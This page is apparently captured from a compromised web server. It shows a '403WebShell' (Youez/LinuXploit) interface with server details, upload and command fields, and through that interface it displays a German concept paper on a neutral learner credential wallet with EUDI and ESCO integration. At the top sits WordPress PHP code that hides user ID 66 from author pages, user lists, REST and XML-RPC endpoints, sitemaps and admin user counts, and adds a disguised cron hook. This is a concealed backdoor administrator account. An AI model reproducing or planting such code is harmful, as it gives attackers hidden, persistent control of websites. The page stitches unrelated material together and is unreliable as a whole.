add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/NeutralPathwayWallet.md
# Konzept: Digitales Kompetenz-Ökosystem

## Wallet für Lernende

- Lernende (z.B. Applikanten von IP Service) bekommen eine persönliche, geschützte Wallet — neutral, ohne Branding eines bestimmten Bildungsträgers.
- Die Wallet gehört dem Lernenden. Sie kann Credentials von verschiedenen Bildungsträgern aufnehmen.
- Innerhalb der Wallet können Lernende eine oder mehrere Zielkompetenzen auswählen (z.B. "Augenoptiker" — ein Kurs von IP Service als "Masterbadge"). Jedes Ziel wird als **gebrandeter Program-View** dargestellt: Logo, Farben und Beschreibung des Bildungsträgers sind klar sichtbar — die Wallet selbst bleibt neutral.
- Lernende können mehrere solcher Ziel-Karten von verschiedenen Anbietern gleichzeitig in ihrer Wallet haben.
- Die Zielkompetenz beinhaltet eine Liste von erforderlichen Kompetenzen, die nachgewiesen werden müssen (durch Badges). User sehen: a) welche Kurse sie beim jeweiligen Bildungsträger abschließen müssen, weil jeder Kurs mit einem Badge abgeschlossen wird; b) welche Kompetenzen sie außerhalb des Bildungsträgers erwerben können oder bereits erworben haben — z.B. bei Partnerorganisationen wie bis.ams.or.at.
- Bei Abschluss / Erhalt / Import eines Badges macht es Pling (Pokémon-Style) und der Badge erscheint im Panini-Album.
- Wenn alle definierten Pflicht-Badges für einen Masterbadge in der Wallet vorhanden sind, macht es Super-Pling — und der Wallet-Owner bekommt einen Hinweis, dass er zur Abschlussprüfung / finalen Bewertung zugelassen werden kann.
- In der Wallet können User bestehende Kompetenznachweise einlesen (Prior Learning / Recognition of Prior Learning). Wenn ein solcher Badge als anerkanntes Prior Learning zum Masterbadge hinterlegt ist und der Badge korrekt ist (auf den User ausgestellt, gültig, Aussteller vertrauenswürdig), dann macht es genauso Pling.

## Pathway-Builder für Bildungsträger

- Bildungsträger wie IP Service oder bis.ams.or.at definieren ihre Masterbadges und die zugehörigen Anforderungen über einen Pathway-Builder (vergleichbar dem emaji Pathway-Builder).
- Für jede Anforderung können sie festlegen: welche eigenen Kurse/Badges akzeptiert werden, und welche Badges von Partnerorganisationen (z.B. AMS, andere akkreditierte Träger) ebenfalls anerkannt werden.
- Bildungsträger können Partnerschafts-Beziehungen definieren: "Für Anforderung X akzeptieren wir Badges von Org Y und Org Z." Das schafft ein föderales Vertrauensnetz zwischen Institutionen.
- Das visuelle Design des Program-Views in der Wallet (Logo, Farben, Beschreibung) wird ebenfalls im Pathway-Builder konfiguriert.
- Pathways werden in einem öffentlichen Registry (OpenSkillPaths) veröffentlicht — damit sind sie für Lernende auffindbar und durch Dritte verifizierbar.

## Interoperabilität über ESCO

- Kompetenzen können mit ESCO-Qualifikationen und -Skills verknüpft werden. Das erlaubt es, Badges verschiedener Aussteller als äquivalent zu erkennen, wenn sie dieselbe ESCO-Kompetenz abdecken — ohne bilaterale Abkommen für jeden Einzelfall.
- Beispiel: Ein Badge von AMS Wien für "Kundenkommunikation" und ein Badge von IP Service für "Beratungsgespräch" könnten beide auf denselben ESCO-Skill gemappt sein und damit gegenseitig anerkannt werden.

## Wallet-Architektur und EUDI-Kompatibilität

- Die Wallet-App (auf Basis von emajiwallet) ist technisch neutral. Der gebrandete Program-View wird über eine konfigurierbare URL aufgerufen (z.B. `wallet.example.com/program/ipcenter-augenoptiker`) — Bildungsträger konfigurieren Branding und Pathway in emaji, die Wallet rendert den entsprechenden View.
- Dieses Modell vermeidet separate App-Instanzen pro Bildungsträger: eine Wallet, viele gebrandete Ziel-Karten.
- Die Wallet ist auf die **EUDI Wallet** (EU Digital Identity Wallet) ausgerichtet, die ab 2026 für alle EU-Bürger verfügbar sein wird:
  - **Kurzfristig**: Badgau implementiert **OID4VCI** (OpenID for Verifiable Credential Issuance), sodass ausgestellte Credentials in jede OID4VCI-kompatible Wallet landen können — einschließlich EUDI-Wallets. Damit ist EUDI-Kompatibilität vorbereitet, ohne sie jetzt vollständig bauen zu müssen.
  - **Mittelfristig**: emajiwallet bekommt einen **OID4VP**-Endpunkt (OpenID for Verifiable Presentations), sodass Lernende Credentials aus ihrer EUDI-Wallet oder anderen Fremd-Wallets importieren und als Prior Learning einreichen können.
  - **Langfristig**: Wenn EUDI breit verfügbar ist, wird unsere Wallet zum **Companion** — sie liefert den Pathway-View und die Gap-Analyse, während die EUDI-Wallet die Credentials hält. Wir konkurrieren nicht mit EUDI, sondern bauen auf ihr auf.
- Open Badges 3.0 ist bereits W3C Verifiable Credentials-kompatibel, was den Abstand zu EUDI-Formaten (SD-JWT VC) gering hält.

## Technische Bausteine

| Baustein | Rolle |
|---|---|
| **Badgau** | Ausstellung und kryptographische Signierung von Badges durch Bildungsträger; perspektivisch OID4VCI für EUDI-Kompatibilität |
| **OpenSkillPaths** | Öffentliches Registry für Badge-Klassen, Pathways und Vertrauensbeziehungen zwischen Organisationen |
| **emaji** | Pathway-Builder für Bildungsträger: Masterbadge, Anforderungen, Partneranerkennung, Branding-Konfiguration für Program-Views |
| **emajiwallet** | Persönliche, neutrale Wallet für Lernende mit gebrandeten Program-Views, Gap-Analyse, Pling-Mechanik, Prior-Learning-Import und perspektivisch OID4VP für EUDI-Integration |
| **ESCO** | Taxonomie-Schicht für Interoperabilität über Institutionsgrenzen hinweg |

Youez - 2016 - github.com/yon3zu
LinuXploit